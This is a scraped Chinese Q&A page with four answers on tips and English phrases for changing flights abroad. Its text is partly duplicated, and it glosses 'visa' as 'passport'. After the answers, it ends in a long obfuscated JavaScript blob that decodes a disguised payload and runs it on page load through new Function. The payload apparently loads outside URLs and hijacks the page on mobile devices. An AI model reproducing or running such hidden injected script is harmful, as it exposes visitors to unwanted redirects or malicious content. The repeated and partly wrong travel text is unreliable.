在国外转机要注意什么和用语

2025-03-04 13:52:41
推荐回答(4个)
回答1:

一、国外转机注意事项

1、首先,需要自己带一点食品。

一次国际航班一般会提供一次正餐和一次点心,在转飞机的时候,我们一般需要在机场停留一段时间,以等待下一个航班,这样一来,两个航班提供饮食的时间间隔可能会相当长。

而且,某些欧美短途航班根本不提供食品,一些转机的中国学生常常因不清楚这一点而使自己在第二班飞机上感到饥肠辘辘却无计可施。其实,只要在出发时在随身的包中带一个面包或别的主食就可以。

2、其次,对转机存在的风险要有所准备

如果第一个航班延误了,就有可能使自己不能按时赶上第二个航班。实际上,这样的情况并不罕见。如果出现误机,航空公司会负责安排你改乘下一个航班,并且安排你在机场所需要的食宿。在过去一周,笔者就有两个朋友遇到这样的事情,一个推迟了两个小时,一个推迟了12小时。

所以,最好在出发前,把牙刷、拖鞋和隐形眼镜的药水(装小瓶)带在身上,万一需要住在机场,也会方便些。欧美很多旅馆是不提供拖鞋和牙刷的。当然,最好准备一张国际电话卡,可以把自己的新行程通知接机的亲友。

二、转机和出国的基本用语

一、国外转机注意事项

1、首先,需要自己带一点食品。

一次国际航班一般会提供一次正餐和一次点心,在转飞机的时候,我们一般需要在机场停留一段时间,以等待下一个航班,这样一来,两个航班提供饮食的时间间隔可能会相当长。

而且,某些欧美短途航班根本不提供食品,一些转机的中国学生常常因不清楚这一点而使自己在第二班飞机上感到饥肠辘辘却无计可施。其实,只要在出发时在随身的包中带一个面包或别的主食就可以。

2、其次,对转机存在的风险要有所准备

如果第一个航班延误了,就有可能使自己不能按时赶上第二个航班。实际上,这样的情况并不罕见。如果出现误机,航空公司会负责安排你改乘下一个航班,并且安排你在机场所需要的食宿。在过去一周,笔者就有两个朋友遇到这样的事情,一个推迟了两个小时,一个推迟了12小时。

所以,最好在出发前,把牙刷、拖鞋和隐形眼镜的药水(装小瓶)带在身上,万一需要住在机场,也会方便些。欧美很多旅馆是不提供拖鞋和牙刷的。当然,最好准备一张国际电话卡,可以把自己的新行程通知接机的亲友。

二、转机的基本用语

1、登机 boarding;

2、登机牌 boarding card;

3、登机手续办理处 check-in counter;

4、登机口 departure gate;

5、候机室 departure lounge;

6、过境 transit;

7、中转 transfers;

8、中转处 transfer correspondence;

9、到达 arrivals;

10、签证passport。

扩展资料:

出国坐飞机注意事项

1、护照要随身带,放在安全的地方。什么都可以掉,护照最好别掉,不然会特别麻烦。

2、不管在哪里转机,沿着transfer的指示灯走。如果已经划位(换登机牌),牢记自己在几号GATE就没问题;如果还未划位,找到自己航空公司的柜台进行划位。

3、飞国外的流程跟国内有点不同,但无非都是要经过建设费、划位和安检的步骤。出境需要多一个出境手续,是在划位(换登机牌)之后,安检之前,需要核对你是否符合出境要求。在面对海关前要填一张,中国公民需要用中文填写。

4、不管出境还是入境都要确定海关人员在你的护照上盖章,并看清楚时间。如果少了一个章就少了一次出入境记录,以后会有偷渡嫌疑会非常麻烦。

5、在飞机降落前,需要填入境卡,非美国公民需要再填另一张。

6、如果你比较赶时间,那么下飞机后拿好自己的所有东西,以最快的速度跑去海关(有些国家的入境检查时间非常长,如果太晚过去就只能排队等很长时间)。沿着Arrival的指示灯往前走,在visitor的柜台前等候入境。

参考资料:出国,中途转机该注意什么--人民网

回答2:

在国外转机要注意事项:

1、办理签证

在出境长途旅行或出差的时候,往往会需要在境外(含港澳)的第三地转机,这个时候我们就会面临,是否需要办理一个过境国家或地区签证的问题。

2、行李

在办理登机手续(check in)的时候,一定要问清楚,行李是直接送到最后的目的地还是需要中间自己搬运。

3、在转飞的飞机场

在转飞的飞机场,注意看屏幕的指示。一定要牢记自己的航班代码和最后的目的地,必要的话,写在一张小纸上,也方便咨询飞机场的工作人员。找不到登机口的时候,不要着急,时间是足够的,而且迅速和飞机场的工作人员咨询。

4、如果转机候机时间比较长,休息的时候一定要注意时间。

用语

1、Where is the transfer counter?

转机柜台在哪里?

2、Where do I make my connection?

请问要转机的话应该怎么走? 

3、Which gate should I go to then?

请问需要去几号登机口?  

4、Where can I get my baggage/luggage?

我要在哪里取行李?

5、Which terminal should I go for my connecting flight?  

我应该去哪一个航站楼转机?

6、What is your final destination?

请问你的最终目的地是哪里? 

7、Have I missed my connection?

我错过我的转机航班了吗?

8、How long is my transfer time?

换乘时间有多久?

9、Do I need to go through immigration for connection flights?

我在转机时需要重新出境再入境吗?

扩展资料

过境签主要分以下四种情况:  

1、需要入境,必须办理过境签   

如:美国、日本(如需过夜)、泰国、南非、澳大利亚(1~71小时)、阿联酋...    

2、需要入境,可有条件的免过境签   

如:英国、加拿大、日本(如不过夜)、韩国、菲律宾、香港、澳门... 

3、不需要入境,但也需要过境签   

如:美国、英国、泰国...    

4、不需要入境,可有条件的免过境签   

如:新加坡、墨西哥、俄罗斯、马来西亚、加拿大、日本...

参考资料:过境签证_百度百科

回答3:

哇。这个。转机其实很简单的。
从国内出发,这边也就不说了。到了那边,到达就是Arrival。然后你就需要去到转机的地方,你就要跟着Transfer/Transit的指示路线走。
一般还会经过一次安检,security check吧,就到了候机厅Terminal,出发Departure,登机口是Gate,登机牌Boarding Pass,护照Passport,签证Visa。
其实也很简单吧。

回答4:

从国内出发,这边也就不说了。到了那边,到达就是Arrival。然后你就需要去到转机的地方,你就要跟着Transfer/Transit的指示路线走。
一般还会经过一次安检,security check吧,就到了候机厅Terminal,出发Departure,登机口是Gate,登机牌Boarding Pass,护照Passport,签证Visa。
其实也很简单

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();